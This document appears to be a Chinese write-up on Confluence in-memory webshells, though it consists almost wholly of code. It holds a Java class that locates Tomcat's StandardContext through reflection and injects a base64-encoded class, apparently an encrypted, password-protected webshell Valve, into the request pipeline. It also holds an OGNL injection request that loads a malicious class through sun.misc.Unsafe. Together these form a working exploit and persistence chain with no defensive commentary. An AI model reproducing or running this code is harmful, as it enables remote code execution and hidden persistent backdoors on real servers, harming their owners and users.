Confluence 内存马解析

public Class defineAnonymousClass(Class hostClass, byte[] data, Object[] cpPatches) {                if (hostClass == null || data == null) {                    throw new NullPointerException();                }                if (hostClass.isArray() || hostClass.isPrimitive()) {                    throw new IllegalArgumentException();                }                return defineAnonymousClass0(hostClass, data, cpPatches);            }

import java.io.IOException;            import java.lang.reflect.Constructor;            import java.lang.reflect.Field;            import java.lang.reflect.InvocationTargetException;            import java.lang.reflect.Method;            import java.util.ArrayList;            import java.util.Base64;            import java.util.HashMap;            import java.util.Iterator;            import org.apache.catalina.core.StandardContext;            import org.apache.catalina.core.StandardHost;            public class  ConfluenceMemshell {              String uri;              String serverName;              Object standardContext;              String valveString;              public Object getField(Object object, String fieldName) {                Class clazz = object.getClass();                while (clazz != Object.class) {                  try {                    Field declaredField = clazz.getDeclaredField(fieldName);                    declaredField.setAccessible(true);                    return declaredField.get(object);                  } catch (Exception var6) {                    clazz = clazz.getSuperclass();                  }                 }                 return null;              }              public  ConfluenceMemshell() throws Exception {                Class pipClass = Thread.currentThread().getContextClassLoader().loadClass("org.apache.catalina.Valve");                Object standardContext = getStandardContext();                Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");                Thread[] var5 = threads;                int var6 = threads.length;                for (int var7 = 0; var7 < var6; var7++) {                  Thread thread = var5[var7];                  if (thread != null && !thread.getName().contains("exec")) {                    Object target = getField(thread, "target");                    if (target instanceof Runnable) {                      Object object;                      try {                        object = getField(getField(getField(target, "this$0"), "handler"), "global");                      } catch (Exception var27) {}                      if (object != null) {                        ArrayList processors = (ArrayList)getField(object, "processors");                        Iterator iterator = processors.iterator();                        while (iterator.hasNext()) {                          Object next = iterator.next();                          Object req = getField(next, "req");                          Object serverPort = getField(req, "serverPort");                          if (!serverPort.equals(Integer.valueOf(-1))) {                            Object serverNameMB = getField(req, "serverNameMB");                            this.serverName = (String)getField(serverNameMB, "strValue");                            Object uriMB = getField(req, "decodedUriMB");                            this.uri = (String)getField(uriMB, "strValue");                            this.standardContext = getStandardContext();                            String valveString = "yv66vgAAADQBCAoAUQBvCABwCQBQAHEIAFQJAFAAcgcAcwoABgBvCgAGAHQKAAYAdQoAUAB2CQBQAHcIAHgKAHkAegoAIAB7CgAgAHwKAHkAfQcAfgoAeQB/CgARAIAKABEAgQoAIACCBwCDCACECgAfAIUIAIYKAB8AhwcAiAoAiQCKCgAhAIsIAIwHAI0HAI4HAI8HAJAIAJEKAB8AkggAkwgAlAoAlQCWBwCXCgAoAJgKAJUAmQoAlQCaCACbCACcCACdCACeCgCfAKAIAKEKACAAogoAnwCjCgBQAKQKAFAApQkAUACmBwCnBwCoCgCpAKoKAKkAqwoANwCsBwCtCACuCQCvALAKAB8AsQoAiQCyCgCvALMHALQKAEIAbwoAIQCiCgCfALUKALYAtwoAIAC4CgC5ALoKACEAdQoAQgC7CgBQALwKACAAvQoAuQC+CgBQAL8LAMAAwQcAwgcAwwEAAnhjAQASTGphdmEvbGFuZy9TdHJpbmc7AQAEcGFzcwEAA21kNQEAB3BheWxvYWQBABFMamF2YS9sYW5nL0NsYXNzOwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAI4HAIMBAAxiYXNlNjREZWNvZGUBABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCAQAKRXhjZXB0aW9ucwEAAXgBAAcoW0JaKVtCBwDCBwDEAQAMYmFzZTY0RW5jb2RlAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEABmludm9rZQEAUihMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdDtMb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVzcG9uc2U7KVYHAMUHAMYBAApTb3VyY2VGaWxlAQANcmViZXlvbmQuamF2YQwAWABZAQAQZTQ1ZTMyOWZlYjVkOTI1YgwAUgBTDABUAFMBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgwAxwDIDADJAMoMAFUAXAwAVQBTAQADTUQ1BwDLDADMAM0MAM4AzwwA0ADRDADSANMBABRqYXZhL21hdGgvQmlnSW50ZWdlcgwA1ADPDABYANUMAMkA1gwA1wDKAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEGphdmEudXRpbC5CYXNlNjQMANgA2QEACmdldERlY29kZXIMANoA2wEAE1tMamF2YS9sYW5nL09iamVjdDsHANwMAGkA3QwA3gDfAQAGZGVjb2RlAQAPamF2YS9sYW5nL0NsYXNzAQAQamF2YS9sYW5nL1N0cmluZwEAEGphdmEvbGFuZy9PYmplY3QBAAJbQgEAFnN1bi5taXNjLkJBU0U2NERlY29kZXIMAOAA4QEADGRlY29kZUJ1ZmZlcgEAA0FFUwcAxAwAzADiAQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwwAWADjDADkAOUMAOYA5wEACmdldEVuY29kZXIBAA5lbmNvZGVUb1N0cmluZwEAFnN1bi5taXNjLkJBU0U2NEVuY29kZXIBAAZlbmNvZGUHAOgMANoAygEABFBPU1QMAOkA6gwA6wBcDABgAGEMAGMAZAwAVgBXAQAXamF2YS9uZXQvVVJMQ2xhc3NMb2FkZXIBAAxqYXZhL25ldC9VUkwHAOwMAO0A7gwA7wDwDABYAPEBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwcA8gwA8wBXDAD0ANsMAPUA9gwA9wD4AQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAPkA+gcA+wwA/AD9DAD+AP8HAQAMAQEBAgwBAwDPDABnAGgMAP4A1gwBBABZDAEFAQYHAQcMAGkAagEACHJlYmV5b25kAQAkb3JnL2FwYWNoZS9jYXRhbGluYS92YWx2ZXMvVmFsdmVCYXNlAQATamF2YXgvY3J5cHRvL0NpcGhlcgEAE2phdmEvaW8vSU9FeGNlcHRpb24BAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BAAZhcHBlbmQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAh0b1N0cmluZwEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAbamF2YS9zZWN1cml0eS9NZXNzYWdlRGlnZXN0AQALZ2V0SW5zdGFuY2UBADEoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NlY3VyaXR5L01lc3NhZ2VEaWdlc3Q7AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAGbGVuZ3RoAQADKClJAQAGdXBkYXRlAQAHKFtCSUkpVgEABmRpZ2VzdAEABihJW0IpVgEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlb3JnL2FwYWNoZS9jYXRhbGluYS9jb25uZWN0b3IvUmVxdWVzdAEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADGdldFBhcmFtZXRlcgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQApKFtMamF2YS9uZXQvVVJMO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEADXNldEFjY2Vzc2libGUBAAQoWilWAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAtnZXRSZXNw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";                            byte[] valveBytes = Base64.getDecoder().decode(valveString);                            Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", new Class[] { byte[].class, int.class, int.class });                            defineClassMethod.setAccessible(true);                            Object valveClass = defineClassMethod.invoke(Thread.currentThread().getContextClassLoader(), new Object[] { valveBytes, Integer.valueOf(0), Integer.valueOf(valveBytes.length) });                            Class valve = (Class)valveClass;                            Constructor valveConstructor = valve.getConstructor(new Class[0]);                            valveConstructor.setAccessible(true);                            Object myValve = valveConstructor.newInstance(new Object[0]);                            Method getPiplineMethod = this.standardContext.getClass().getMethod("getPipeline", new Class[0]);                            Object piplineObject = getPiplineMethod.invoke(this.standardContext, (Object[])null);                            Method addValveMethod = piplineObject.getClass().getMethod("addValve", new Class[] { pipClass });                            addValveMethod.invoke(piplineObject, new Object[] { myValve });                            System.out.println("success");                          }                         }                       }                     }                   }                 }               }              public Object getStandardContext() throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {                Thread[] threads = (Thread[])getField(Thread.currentThread().getThreadGroup(), "threads");                String result = "";                Thread[] var4 = threads;                int var5 = threads.length;                for (int var6 = 0; var6 < var5; var6++) {                  Thread thread = var4[var6];                  if (thread != null) {                    Object target = getField(thread, "target");                    if (thread.getName().contains("StandardEngine")) {                      if (target != null)                        try {                          this.serverName = "localhost";                          HashMap children = (HashMap)getField(getField(target, "this$0"), "children");                          StandardHost standardHost = (StandardHost)children.get(this.serverName);                          children = (HashMap)getField(standardHost, "children");                          Iteratoriterator = children.keySet().iterator();                          while (iterator.hasNext()) {                            String contextKey = iterator.next();                            if (this.uri.startsWith(contextKey)) {                              StandardContext standardContext = (StandardContext)children.get(contextKey);                              return standardContext;                            }                           }                         } catch (Exception exception) {}                     } else if (thread.getName().contains("Acceptor") && thread.getName().contains("http")) {                      Object jioEndPoint = null;                      try {                        jioEndPoint = getField(target, "this$0");                      } catch (Exception exception) {}                      if (jioEndPoint == null)                        try {                          jioEndPoint = getField(target, "endpoint");                        } catch (Exception var17) {                          return null;                        }                        Object service = getField(getField(getField(getField(getField(jioEndPoint, "handler"), "proto"), "adapter"), "connector"), "service");                      Object engine = getField(service, "engine");                      Object children = getField(engine, "children");                      Method getMethod = children.getClass().getMethod("get", new Class[] { Object.class });                      Object standardHost = getMethod.invoke(children, new Object[] { "localhost" });                      HashMap standardHostChildren = (HashMap)getField(standardHost, "children");                      Object standardHostObject = standardHostChildren.get("");                      return standardHostObject;                    }                   }                 }                 return null;              }            }    

label=\u0027%2b#request\u005b\u0027.KEY_velocity.struts2.context\u0027\u005d.internalGet(\u0027ognl\u0027).findValue(#parameters.x,{})%2b\u0027&x=(new+javax.script.ScriptEngineManager()).getEngineByName('js').eval(@org.apache.struts2.ServletActionContext@getRequest().getParameter("search"))&search=var+header=com.atlassian.core.filters.ServletContextThreadLocal.getResponse().setHeader('X-Confluence-Response-Time','0539a0fd8c1b4a4184998ad4fc9ec8e6');var+data='恶意类(base64)';var+safe=java.lang.Class.forName('sun.misc.Unsafe');var+safeCon=safe.getDeclaredField('theUnsafe');safeCon.setAccessible(true);var+unSafe=safeCon.get(null);var+dataBytes=java.util.Base64.getDecoder().decode(data);var+mem=unSafe.defineAnonymousClass(java.io.File.class,dataBytes,null);mem.newInstance();